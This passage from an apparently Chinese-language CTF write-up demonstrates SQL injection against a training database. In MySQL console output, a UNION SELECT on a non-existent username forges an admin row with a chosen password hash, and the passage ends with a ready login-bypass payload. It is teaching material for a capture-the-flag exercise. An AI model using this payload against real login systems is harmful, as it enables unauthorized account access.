MySQL [ctftraining]> select * from user where username='admin' union select 1,'admin',1 ; +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | 319305f397960c2c19a585b54f403d4b | | 1 | admin | 1 | +----+----------+----------------------------------+
那我们如果让他查询一个不存在的用户,那最后的数据我们是可以伪造的
1 2 3 4 5 6
MySQL [ctftraining]> select * from user where username='I dont exist' union select 1,'admin',1 ; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | 1 | +----+----------+----------+
MySQL [ctftraining]> select * from user where username='I dont exist' union select 1,'admin','319305f397960c2c19a585b54f403d4b' ; +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | 319305f397960c2c19a585b54f403d4b | +----+----------+----------------------------------+
所以最终payload
1 2 3
I dont exist' union select 1,'admin','319305f397960c2c19a585b54f403d4b' #